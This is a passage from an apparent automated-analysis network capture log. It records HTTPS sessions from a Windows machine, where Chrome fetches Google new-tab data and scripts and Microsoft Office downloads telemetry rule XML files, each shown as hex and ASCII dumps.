2024-12-07 21:40:18 UTC	702	IN	Data Raw: 61 70 70 65 64 20 6d 75 73 69 63 22 2c 22 75 73 64 61 20 72 61 77 20 6d 69 6c 6b 20 62 69 72 64 20 66 6c 75 22 2c 22 64 69 6e 67 20 6c 69 72 65 6e 20 77 6f 72 6c 64 20 63 68 65 73 73 20 63 68 61 6d 70 69 6f 6e 73 68 69 70 20 32 30 32 34 22 2c 22 73 6e 6f 77 20 73 74 6f 72 6d 20 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 22 2c 22 73 75 70 65 72 20 6d 69 63 72 6f 20 63 6f 6d 70 75 74 65 72 20 6e 61 73 64 61 71 20 65 78 74 65 6e 73 69 6f 6e 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b Data Ascii: apped music","usda raw milk bird flu","ding liren world chess championship 2024","snow storm weather forecast","super micro computer nasdaq extension"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk
2024-12-07 21:40:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49712	142.250.181.68	443	1812	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:17 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49716	142.250.181.68	443	1812	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:17 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-07 21:40:18 UTC	1018	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 07 Dec 2024 21:40:17 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-07 21:40:18 UTC	372	IN	Data Raw: 32 32 31 63 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 221c)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-07 21:40:18 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-07 21:40:18 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-07 21:40:18 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-07 21:40:18 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-07 21:40:18 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 38 2c 33 37 30 30 39 34 32 2c 33 37 30 31 33 38 34 2c 31 30 32 31 31 38 39 33 39 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700338,3700942,3701384,102118939],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){va
2024-12-07 21:40:18 UTC	1390	IN	Data Raw: 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 Data Ascii: c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor
2024-12-07 21:40:18 UTC	28	IN	Data Raw: 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 0d 0a Data Ascii: rn a.i;throw Error(\"F\");
2024-12-07 21:40:18 UTC	412	IN	Data Raw: 31 39 35 0d 0a 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f Data Ascii: 195};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"do
2024-12-07 21:40:18 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 Data Ascii: 8000\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ce\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.de\u003dfunction(a,b){ret

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49717	142.250.181.68	443	1812	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:17 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-07 21:40:18 UTC	933	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 07 Dec 2024 21:40:17 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-07 21:40:18 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-07 21:40:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:18 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:18 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 3fcd35f4-e01e-0052-4b02-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214018Z-r1cf579d778x776bhC1EWRdk8000000003h00000000031xg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:19 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:18 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:18 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2b116ba0-201e-0051-0503-487340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214018Z-r1cf579d778d5zkmhC1EWRk6h800000003vg00000000866m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:19 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:18 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:18 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: a36b2733-e01e-0051-6f03-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214018Z-r1cf579d778qlpkrhC1EWRpfc800000004500000000052dn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:19 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:18 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:18 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b9950e54-401e-0015-4806-480e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214018Z-r1cf579d778w59f9hC1EWRze6w00000003s0000000003znc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
